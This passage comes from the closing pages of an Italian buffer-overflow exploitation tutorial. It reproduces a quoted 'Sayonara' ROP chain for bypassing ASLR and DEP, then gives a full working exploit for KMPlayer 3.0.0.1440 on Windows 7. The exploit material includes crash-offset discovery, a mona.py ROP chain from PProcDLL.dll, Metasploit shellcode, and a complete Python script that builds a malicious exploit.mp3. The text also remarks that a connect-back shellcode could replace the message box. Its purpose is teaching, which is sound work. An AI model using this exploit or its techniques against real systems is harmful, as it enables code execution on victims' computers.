# This technique uses msvcr71.dll which has shipped unchanged

# in the Java Runtime Environment since v1.6.0.0 released

# December 2006.

#

# web: http://www.whitephosphorus org

# mail: support@whitephosphorus org

# sales: http://www.immunityinc.com/products-whitephosphorus.shtml

print "WP> Building Sayonara - Universal ASLR and DEP bypass"

size += 4 # bytes to shellcode after pushad esp ptr

depBypass = pack('<L', 0x7C344CC1) # pop eax;ret;

depBypass += pack('<L', 0x7C3410C2) # pop ecx;pop ecx;ret;

depBypass += pack('<L', 0x7C342462) # xor chain; call eax {0x7C3410C2}

depBypass += pack('<L', 0x7C38C510) # writeable location for lpflOldProtect

depBypass += pack('<L', 0x7C365645) # pop esi;ret;

depBypass += pack('<L', 0x7C345243) # ret;

depBypass += pack('<L', 0x7C348F46) # pop ebp;ret;

depBypass += pack('<L', 0x7C3487EC) # call eax

depBypass += pack('<L', 0x7C344CC1) # pop eax;ret;

depBypass += pack("<i", -size) # {size}

depBypass += pack('<L', 0x7C34D749) # neg eax;ret; {adjust size}

depBypass += pack('<L', 0x7C3458AA) # add ebx, eax;ret; {size into ebx}

depBypass += pack('<L', 0x7C3439FA) # pop edx;ret;

depBypass += pack('<L', 0xFFFFFFC0) # {flag}

depBypass += pack('<L', 0x7C351EB1) # neg edx;ret; {adjust flag}

depBypass += pack('<L', 0x7C354648) # pop edi;ret;

depBypass += pack('<L', 0x7C3530EA) # mov eax,[eax];ret;

depBypass += pack('<L', 0x7C344CC1) # pop eax;ret;

depBypass += pack('<L', 0x7C37A181) # (VP RVA + 30) - {0xEF adjustment}

depBypass += pack('<L', 0x7C355AEB) # sub eax,30;ret;

depBypass += pack('<L', 0x7C378C81) # pushad; add al,0xef; ret;

depBypass += pack('<L', 0x7C36683F) # push esp;ret;

Page 185: System exploitation using buffer overflow

System exploitation using buffer overflow

Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 185 di 193

In alternativa o in mancanza di questi metodi automatizzati, si ricorre alla ricerca e

composizione manuale. Ma questo non richiede nessuna particolare abilità se non conoscere

l’assembly e pazienza. Lo spirito hacker non si danneggia, invece si evitano i mal di testa

dovuti allo stress.

Dopo queste considerazioni, vediamo un esempio concreto in cui protezioni DEP + ASLR vengono

effettivamente bypassate.

Prendiamo ancora una volta in considerazione un lettore mp3. Questa volta siamo in ambiante

Windows 7 32 bit SP1. Normalmente questa versione di windows è ben protetta, il processo del

programma avrà sicuramente dia ASLR che DEP abilitati.

Il programma è per l’esattezza: “The KMPlayer 3.0.0.1440”.

Avviamo il programma e controlliamo il processo con ProcessExplorer.exe e Immunity debugger.

Se effettuiamo il controllo senza aprire prima nessun file audio, non troviamo nessun modulo non

protetto, dunque non siamo in grado di eseguire alcunchè. Se invece apriamo un file audio “.mp3”

il processo carica a runtime delle dll, queste sono quelle relative ai codec. Tra queste, due in

particolare non vengono protette dal sistema ASLR. L’indagine con lo script ASLRdynamicbase.py

restituisce l’output seguente:

ASLR /dynamicbase Table

Base Name DLLCharacteristics Enabled?

71880000 sensapi.dll 0x0140 ASLR Aware (/dynamicbase)

73a80000 wdmaud.drv 0x0140 ASLR Aware (/dynamicbase)

758c0000 MSASN1.dll 0x0540 ASLR Aware (/dynamicbase)

...

75e50000 SHLWAPI.dll 0x0140 ASLR Aware (/dynamicbase)

770a0000 USER32.dll 0x0140 ASLR Aware (/dynamicbase)

72cd0000 CSCAPI.dll 0x0140 ASLR Aware (/dynamicbase)

64e40000 ashShell.dll 0x0000

73790000 midimap.dll 0x0140 ASLR Aware (/dynamicbase)

74200000 WindowsCodecs.dll 0x0140 ASLR Aware (/dynamicbase)

73750000 OLEACC.dll 0x0140 ASLR Aware (/dynamicbase)

...

778b0000 NSI.dll 0x0540 ASLR Aware (/dynamicbase)

75eb0000 WLDAP32.dll 0x0140 ASLR Aware (/dynamicbase)

6c210000 GrooveIntlResource.dll 0x0540 ASLR Aware (/dynamicbase)

75b00000 KERNELBASE.dll 0x0140 ASLR Aware (/dynamicbase)

6d720000 msi.dll 0x0140 ASLR Aware (/dynamicbase)

00400000 KMPlayer.exe 0x0000

5fb30000 qasf.dll 0x0140 ASLR Aware (/dynamicbase)

76450000 shell32.dll 0x0140 ASLR Aware (/dynamicbase)

761a0000 SETUPAPI.dll 0x0140 ASLR Aware (/dynamicbase)

...

75c70000 wininet.dll 0x0140 ASLR Aware (/dynamicbase)

75920000 WINTRUST.dll 0x0140 ASLR Aware (/dynamicbase)

772d0000 RPCRT4.dll 0x0140 ASLR Aware (/dynamicbase)

73eb0000 ATL.DLL 0x0140 ASLR Aware (/dynamicbase)

75b50000 IMM32.DLL 0x0140 ASLR Aware (/dynamicbase)

6d5d0000 ntshrui.dll 0x0140 ASLR Aware (/dynamicbase)

10000000 PProcDLL.dll 0x0000

5fe30000 mp3dmod.dll 0x0140 ASLR Aware (/dynamicbase)

Come noterete, oltre l’eseguibile, ci sono altri due moduli non protetti. Sfruttando questi

moduli abbiamo alcune speranze di poter fare qualcosa.

Il bug dell’applicazione si trova come al solito nel parser dei file “.mp3”. Se tentiamo di

aprire un file con questa estensione contenente una lunga stringa di caratteri non conformi al

formato .mp3, il programma, in qualche modo, sovrascrive tale contenuto sullo stack. Risalire al

Page 186: System exploitation using buffer overflow

System exploitation using buffer overflow

Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 186 di 193

tipo di errore che il programma commette è complesso ma fattibile, non rientra però nei nostri

obiettivi. Ciò che dobbiamo fare è solo eseguire alcune prove per capire gli offset critici che

ci occorre sapere.

Per far questo ricorriamo alla solita tecnica con i tools di metasploit.

--------- findEIP.py END --------------------

#!/usr/bin/python

evilfile = "crash.mp3"

junk = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab..."

myfile = open(evilfile,"w")

myfile.write(junk)

myfile.close()

--------- findEIP.py END --------------------

Aprendo il file crash.mp3 generato, il nostro programma KMPlayer si arresterà, windows ci

chiederà (se abbiamo configurato correttamente windbg) se vogliamo eseguirne il debug. Se

rispondiamo si possiamo ricavarci l’indirizzo puntato da EIP al momento del crash.

(a28.ff4): Access violation - code c0000005 (!!! second chance !!!)

eax=00000000 ebx=00000000 ecx=336d4632 edx=76ed71cd esi=00000000 edi=00000000

eip=336d4632 esp=065611b8 ebp=065611d8 iopl=0 nv up ei pl zr na pe nc

cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00210246

336d4632 ?? ???

Con pattern_offset.rb ci ricaviamo l’offset in byte che esprime la distanza tra l’inizio del

buffer e l’EIP salvato. La distanza su questo sistema è di 4112 byte.

Analizzando lo stack al momento del crash ci accorgiamo che la nostra stringa non viene posta

contiguamente nello stack ma che ci finisce dopo essere stata troncata, questo non è un problema

solo se la troncatura avviene prima, se così non fosse allora dovremo inserire in ogni spezzone

le istruzioni necessarie per saltare al prossimo, se non ci stiamo in uno. Fortunatamente non è

questo il caso perchè la troncatura avviene solo prima.

Quando abbiamo raccolto informazioni sufficienti sul tipo di problema avviamo mona.py che ci

darà una mano per la ricerca dei gadget, ricordiamoci che non potremo eseguire nulla sullo stack

fino a che non chiameremo VirtulProtect().

Basandoci unicamente sul modulo ‘PProcDLL.dll’ mona produce i relativi file, in

rop_virtualprotect.txt è presente la struttura rop:

mona.py eseguito con: ‘!mona rop –m PProcDLL.dll -n’

VirtualProtect register structure (PUSHAD technique)

----------------------------------------------------

EAX = NOP (0x90909090)

ECX = lpOldProtect (Writable ptr)

EDX = NewProtect (0x40)

EBX = Size

ESP = lPAddress (automatic)

EBP = ReturnTo (ptr to jmp esp - run '!mona jmp -r esp -n -o')

ESI = ptr to VirtualProtect()

EDI = ROP NOP (RETN)

Page 187: System exploitation using buffer overflow

System exploitation using buffer overflow

Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 187 di 193

VirtualProtect() 'pushad' rop chain

------------------------------------

rop_gadgets =

[

0x1004a594, # POP EAX # RETN (PProcDLL.dll)

0x1014f264, # <- *&VirtualProtect()

0x1011bcf6, # MOV EAX,DWORD PTR DS:[EAX] # POP ESI # RETN (PProcDLL.dll)

0x1013b0c3, # XCHG EAX,ESI # RETN (PProcDLL.dll)

0x10131803, # POP EBP # RETN (PProcDLL.dll)

0x10101bb8, # ptr to 'push esp # ret ' (from PProcDLL.dll)

0x1004a594, # POP EAX # RETN (PProcDLL.dll)

0xfffffdff, # value to negate, target value : 0x00000201, target reg : ebx

0x100d2b6b, # NEG EAX # RETN (PProcDLL.dll)

0x1002d319, # XCHG EAX,EBX # RETN 0E (PProcDLL.dll)

0x1012d9ab, # POP ECX # RETN (PProcDLL.dll)

0x1018e001, # W pointer (lpOldProtect) (-> ecx)

0x1001a384, # POP EDI # RETN (PProcDLL.dll)

0x1001a385, # ROP NOP (-> edi)

0x1004a594, # POP EAX # RETN (PProcDLL.dll)

0xffffffc0, # value to negate, target value : 0x00000040, target reg : edx

0x100d2b6b, # NEG EAX # RETN (PProcDLL.dll)

0x100eba5a, # XCHG EAX,EDX # RETN (PProcDLL.dll)

0x1004a594, # POP EAX # RETN (PProcDLL.dll)

0x90909090, # NOPS (-> eax)

0x10014443, # PUSHAD # RETN (PProcDLL.dll)

# rop chain generated by mona.py

# note : this chain may not work out of the box

# you may have to change order or fix some gadgets,

# but it should give you a head start

].pack("V*")

La serie di gadget utilizzata nella rop chain deve però essere analizzata e adattata per

lavorare sul nostro sistema, talvolta è anche possibile che questa funzioni subito senza

modifiche. Nel mio caso ho dovuto aggiustare con alcune WORD l’offset tra ESP ed EIP.

Ricordiamoci che ESP ed EIP devono essere tenuti sotto controllo durante l’esecuzione di codice

ROP. ESP punta sempre alla prossima istruzione da eseguire al momento che una ‘ret’ viene

eseguita, oppure punta alla locazione che verrà memorizzata in un registro in caso venga

eseguita una ‘POP REG’. L’istruzione pop incrementa il valore di ESP facendo scorrere questo

lungo la ROP chain, al contrario l’istruzione push incrementa ESP ed inserisce nuove WORD.

Detto questo se analizzate con un debugger lo stato dei registri al momento dell’esecuzione

della ROP (mettete un breakpoint a 0x1004a594 utilizzando l’exploit con la rop chain prodotta da

mona.py) ci si accorge che le modifiche vanno apportate in corrispondenza delle istruzioni

seguenti:

- 0x1004a594, # POP EAX # RETN (PProcDLL.dll)

Qui va inserita un WORD aggiuntiva dato che al momento dell’esecuzione della ROP, ESP non punta

allo stessa locazione di EIP, di conseguenza per fare in modo che POP EAX raccolga il puntatore

al puntatore di VirtualProtect, deve essere posizionata una WORD subito prima tale locazione.

- 0x1011bcf6, # MOV EAX,DWORD PTR DS:[EAX] # POP ESI # RETN (PProcDLL.dll)

In questo caso POP ESI è un’istruzione che non ci è utile, posizioniamo una WORD per far

proseguire ESP in modo corretto verso la prossima locazione.

- 0x1002d319, # XCHG EAX,EBX # RETN 0E (PProcDLL.dll)

0x1012d9ab, # POP ECX # RETN (PProcDLL.dll)

L’istruzione RET 0E somma ad ESP il valore 0x0e. Questo ci può causare dei problemi dal momento

che ci sposta ESP di ben 14 byte in avanti. EIP invece punterà alla WORD successiva a

Page 188: System exploitation using buffer overflow

System exploitation using buffer overflow

Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 188 di 193

0x1012d9ab. Ovviamo a questo problema inserendo anche qui un ‘padding’ di 14 byte.

Il resto della ROP chain si comporta a dovere. Possiamo lasciarla invariata.

Ora scegliamo un payload di esempio dal framework metasploit, i passaggi sono davvero molto

semplici:

msf > show payloads

Payloads

========

Name Disclosure Date Rank Description

---- --------------- ---- -----------

aix/ppc/shell_bind_tcp normal AIX Command Shell, Bind TCP Inline

aix/ppc/shell_find_port normal AIX Command Shell, Find Port Inline

aix/ppc/shell_interact normal AIX execve shell for inetd

aix/ppc/shell_reverse_tcp normal AIX Command Shell, Reverse TCP Inline

...

windows/exec normal Windows Execute Command

windows/loadlibrary normal Windows LoadLibrary Path

windows/messagebox normal Windows MessageBox

...

Per questo esempio una semplice messagebox andrà benissimo, in alternativa si può utilizzare una

shellcode connectback come quella vista nei precedenti capitoli, basta che si adatti leggermente

il codice ad essere eseguito su windows 7.

Selezioniamo il payload, vediamone una sintetica descrizione e generiamo la shellcode,

msf > use windows/messagebox

msf payload(messagebox) > info

Name: Windows MessageBox

Module: payload/windows/messagebox

Version: 0

Platform: Windows

Arch: x86

Needs Admin: No

Total size: 270

Rank: Normal

Provided by:

corelanc0d3r

jduck <[email protected]>

Basic options:

Name Current Setting Required Description

---- --------------- -------- -----------

EXITFUNC process yes Exit technique: seh, thread, process, none

ICON NO yes Icon type can be NO, ERROR, INFORMATION, WARNING or

QUESTION

TEXT Hello, from MSF! yes Messagebox Text (max 255 chars)

TITLE MessageBox yes Messagebox Title (max 255 chars)

Description:

Spawns a dialog via MessageBox using a customizable title, text &

Icon

Page 189: System exploitation using buffer overflow

System exploitation using buffer overflow

Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 189 di 193

Cambiamo alcuni parametri:

msf payload(messagebox) > set TEXT "Hello Matteo :)"

TEXT => Hello Matteo :)

msf payload(messagebox) > set TITLE "The exploit works!"

TITLE => The exploit works!

msf payload(messagebox) > generate

# windows/messagebox - 275 bytes

# http://www.metasploit.com

# EXITFUNC=process, TITLE=The exploit works!, TEXT=Hello

# Matteo :), ICON=NO

buf =

"\xd9\xeb\x9b\xd9\x74\x24\xf4\x31\xd2\xb2\x77\x31\xc9\x64" +

"\x8b\x71\x30\x8b\x76\x0c\x8b\x76\x1c\x8b\x46\x08\x8b\x7e" +

"\x20\x8b\x36\x38\x4f\x18\x75\xf3\x59\x01\xd1\xff\xe1\x60" +

"\x8b\x6c\x24\x24\x8b\x45\x3c\x8b\x54\x28\x78\x01\xea\x8b" +

"\x4a\x18\x8b\x5a\x20\x01\xeb\xe3\x34\x49\x8b\x34\x8b\x01" +

"\xee\x31\xff\x31\xc0\xfc\xac\x84\xc0\x74\x07\xc1\xcf\x0d" +

"\x01\xc7\xeb\xf4\x3b\x7c\x24\x28\x75\xe1\x8b\x5a\x24\x01" +

"\xeb\x66\x8b\x0c\x4b\x8b\x5a\x1c\x01\xeb\x8b\x04\x8b\x01" +

"\xe8\x89\x44\x24\x1c\x61\xc3\xb2\x08\x29\xd4\x89\xe5\x89" +

"\xc2\x68\x8e\x4e\x0e\xec\x52\xe8\x9f\xff\xff\xff\x89\x45" +

"\x04\xbb\x7e\xd8\xe2\x73\x87\x1c\x24\x52\xe8\x8e\xff\xff" +

"\xff\x89\x45\x08\x68\x6c\x6c\x20\x41\x68\x33\x32\x2e\x64" +

"\x68\x75\x73\x65\x72\x88\x5c\x24\x0a\x89\xe6\x56\xff\x55" +

"\x04\x89\xc2\x50\xbb\xa8\xa2\x4d\xbc\x87\x1c\x24\x52\xe8" +

"\x61\xff\xff\xff\x68\x73\x21\x58\x20\x68\x77\x6f\x72\x6b" +

"\x68\x6f\x69\x74\x20\x68\x65\x78\x70\x6c\x68\x54\x68\x65" +

"\x20\x31\xdb\x88\x5c\x24\x12\x89\xe3\x68\x20\x3a\x29\x58" +

"\x68\x74\x74\x65\x6f\x68\x6f\x20\x4d\x61\x68\x48\x65\x6c" +

"\x6c\x31\xc9\x88\x4c\x24\x0f\x89\xe1\x31\xd2\x52\x53\x51" +

"\x52\xff\xd0\x31\xc0\x50\xff\x55\x08"

Inseriamo ROP, shellcode e byte junk, in uno script python, perl o ruby.

Io ho utilizzato python. E’ bene anche piazzare una serie di byte NOP tra la rop chain e il

payload per evitare di ritornare su locazioni non valide,

--------- TheKMPlayerExploit.py --------------------

#!/usr/bin/python

# File name

evilfile = "exploit.mp3"

# Align byte

rop_align = "\x41"

# Offset from head of buffer to saved EIP

junk = "A"*4112

# NOP sled (inc EDI)

nop = "\x47"*100

# ROP chain [from non-ASLR module "PProcDLL.dll"]

ropchain = "\x94\xa5\x04\x10" # 0x1004a594, # POP EAX # RETN

ropchain += rop_align * 4 # junk

Page 190: System exploitation using buffer overflow

System exploitation using buffer overflow

Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 190 di 193

ropchain += "\x64\xf2\x14\x10" # 0x1014f264, # <-ptr to ptr to VirtualProtect()

ropchain += "\xf6\xbc\x11\x10" # 0x1011bcf6, # MOV EAX,DWORD PTR DS:[EAX] # POP ESI # RETN

ropchain += rop_align * 4 # -------------------------------------------------^^^

ropchain += "\xc3\xb0\x13\x10" # 0x1013b0c3, # XCHG EAX,ESI # RETN

ropchain += "\x03\x18\x13\x10" # 0x10131803, # POP EBP # RETN

ropchain += "\xb8\x1b\x10\x10" # 0x10101bb8, # ptr to 'push esp # ret '

ropchain += "\x94\xa5\x04\x10" # 0x1004a594, # POP EAX # RETN

ropchain += "\xff\xff\xff\xff" # 0xfffffdff, # value to negate, target value : 0x00000201,

target reg : ebx

ropchain += "\x6b\x2b\x0d\x10" # 0x100d2b6b, # NEG EAX # RETN

ropchain += "\x19\xd3\x02\x10" # 0x1002d319, # XCHG EAX,EBX # RETN 0E

ropchain += "\xab\xd9\x12\x10" # 0x1012d9ab, # POP ECX # RETN

ropchain += rop_align * 14 # ---------- # (for RETN 0E)

ropchain += "\x01\xe0\x18\x10" # 0x1018e001, # W pointer (lpOldProtect) (-> ecx)

ropchain += "\x84\xa3\x01\x10" # 0x1001a384, # POP EDI # RETN

ropchain += "\x85\xa3\x01\x10" # 0x1001a385, # ROP NOP (-> edi)

ropchain += "\x94\xa5\x04\x10" # 0x1004a594, # POP EAX # RETN

ropchain += "\xc0\xff\xff\xff" # 0xffffffc0, # value to negate, target value : 0x00000040,

target reg : edx

ropchain += "\x6b\x2b\x0d\x10" # 0x100d2b6b, # NEG EAX # RETN

ropchain += "\x5a\xba\x0e\x10" # 0x100eba5a, # XCHG EAX,EDX # RETN

ropchain += "\x94\xa5\x04\x10" # 0x1004a594, # POP EAX # RETN

ropchain += "\x90\x90\x90\x90" # 0x90909090, # NOPS (-> eax)

ropchain += "\x43\x44\x01\x10" # 0x10014443, # PUSHAD # RETN

payload = (

"\xd9\xeb\x9b\xd9\x74\x24\xf4\x31\xd2\xb2\x77\x31\xc9\x64"

"\x8b\x71\x30\x8b\x76\x0c\x8b\x76\x1c\x8b\x46\x08\x8b\x7e"

"\x20\x8b\x36\x38\x4f\x18\x75\xf3\x59\x01\xd1\xff\xe1\x60"

"\x8b\x6c\x24\x24\x8b\x45\x3c\x8b\x54\x28\x78\x01\xea\x8b"

"\x4a\x18\x8b\x5a\x20\x01\xeb\xe3\x34\x49\x8b\x34\x8b\x01"

"\xee\x31\xff\x31\xc0\xfc\xac\x84\xc0\x74\x07\xc1\xcf\x0d"

"\x01\xc7\xeb\xf4\x3b\x7c\x24\x28\x75\xe1\x8b\x5a\x24\x01"

"\xeb\x66\x8b\x0c\x4b\x8b\x5a\x1c\x01\xeb\x8b\x04\x8b\x01"

"\xe8\x89\x44\x24\x1c\x61\xc3\xb2\x08\x29\xd4\x89\xe5\x89"

"\xc2\x68\x8e\x4e\x0e\xec\x52\xe8\x9f\xff\xff\xff\x89\x45"

"\x04\xbb\x7e\xd8\xe2\x73\x87\x1c\x24\x52\xe8\x8e\xff\xff"

"\xff\x89\x45\x08\x68\x6c\x6c\x20\x41\x68\x33\x32\x2e\x64"

"\x68\x75\x73\x65\x72\x88\x5c\x24\x0a\x89\xe6\x56\xff\x55"

"\x04\x89\xc2\x50\xbb\xa8\xa2\x4d\xbc\x87\x1c\x24\x52\xe8"

"\x61\xff\xff\xff\x68\x73\x21\x58\x20\x68\x77\x6f\x72\x6b"

"\x68\x6f\x69\x74\x20\x68\x65\x78\x70\x6c\x68\x54\x68\x65"

"\x20\x31\xdb\x88\x5c\x24\x12\x89\xe3\x68\x20\x3a\x29\x58"

"\x68\x74\x74\x65\x6f\x68\x6f\x20\x4d\x61\x68\x48\x65\x6c"

"\x6c\x31\xc9\x88\x4c\x24\x0f\x89\xe1\x31\xd2\x52\x53\x51"

"\x52\xff\xd0\x31\xc0\x50\xff\x55\x08"

)

# Assemble

buffer = junk + ropchain + nop + payload

# Print to file

myfile = open(evilfile,"w")

myfile.write(buffer)

myfile.close()

--------- TheKMPlayerExploit.py END ----------------

Page 191: System exploitation using buffer overflow

System exploitation using buffer overflow

Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 191 di 193

Aprendo il file exploit.mp3 dopo aver ascoltato una canzone di vostro gradimento si ottiene:

Questo tipo di tecnica permette di bypassare allo stesso tempo sia l’ASLR che DEP. Più tempo

passa più le protezioni diventano efficaci e gli exploit complessi.

Page 192: System exploitation using buffer overflow

System exploitation using buffer overflow

Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 192 di 193

0x1a] Conclusioni ?

Up

Non esistono conclusioni di lavori di questo tipo.

La sicurezza informatica è diventato un settore molto importante, costantemente in evoluzione.

L’hacking si stà spostando da cose di questo tipo, sempre più difficili da realizzare,

all’ingegneria sociale.

Per quanto mi riguarda, non mi interessa particolarmente questo settore. Non richiede abilità

particolari ma solo costanza e qualche dote di organizzazione mentale, tipica dei programmatori,

nulla di più.

Ricordiamoci che saper costruire ed utilizzare exploit non è difficile, è solo complesso.

In futuro prevedo che gli attacchi tramite exploit verranno sempre più effettuati verso le

applicazioni WEB, tramite magari plugin o altri componenti agguintivi.

Un fatto importante è la diffusione dei dispositivi mobile. Questi sono per la maggior parte

basati su architettura ARM. Tramite l’assembly per ARM è possibile scrivere shellcode dedicate a

questi sistemi e fare operazioni simili a quelle che abbiamo visto.

Questi saranno sicuramente alcuni dei prossimi obiettivi più bersagliati.

0x1b] Riferimenti bibliografici

Up

Risorse per le basi:

- Architettura OS (MINX3) [http://www.minix3.org]

- Linguaggio assembly [http://www.giobe2000.it]

- The C Library Reference Guide [http://www.acm.uiuc.edu/webmonkeys/book/c_guide/]

- Assembly on Linux

[http://www.linuxdidattica.org/docs/altre_scuole/planck/assembly-linux/assembly-linux.html]

- Linux kernel sources reference [http://lxr.oss.org.cn/]

- Windows API reference [http://msdn.microsoft.com/it-it/default.aspx]

Risorse web:

- The MAGAZINE [http://www.phrack.org/]

- Corelan Team [http://www.corelan.be]

- Exploit database [http://www.exploit-db.com/]

- Shell-Storm database [http://www.shell-storm.org]

- National vulnerability database [http://nvd.nist.gov/]

- Nmap (security community) [http://nmap.org/]

- Packet Storm [http://packetstormsecurity.org/]

- Security focus [http://www.securityfocus.com/]

- Undocumented API [http://undocumented.ntinternals.net/]

- Security tube [http://www.securitytube.net/]

- Skyper web site [http://skypher.com]

- mona.py project [http://redmine.corelan.be/projects/mona]

Libri:

- Hacker’s programming book [Flavio Bernardotti, 2002 - 1607 p.]

- The shellcoder’s handbook [Chris Anley, John Heasman, Felix “FX” Linder, Gerardo

Richarte, 2007 – 745 p.]

Page 193: System exploitation using buffer overflow

System exploitation using buffer overflow

Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 193 di 193

- L’arte dell’hacking [Jon Erickson, 2008 – 438 p.]

- Cracking e hacking [Flavio Bernardotti, 1999 – 991 p.]

- Introduzione agli IDS [Simone Piccardi, 2005 – 77 p.]

White papers:

- The Exutable and Linkable Format [Matteo Tosato]

- Smashing The Stack For Fun And Profit [Aleph One]

- Understanding Windows Shellcode [Skape]

- StackGuard: simple stack smash protection for GCC [Perry Wagle, Crispin Cowan]

- Writing small shellcode [Next Generation Security Software Ltd.]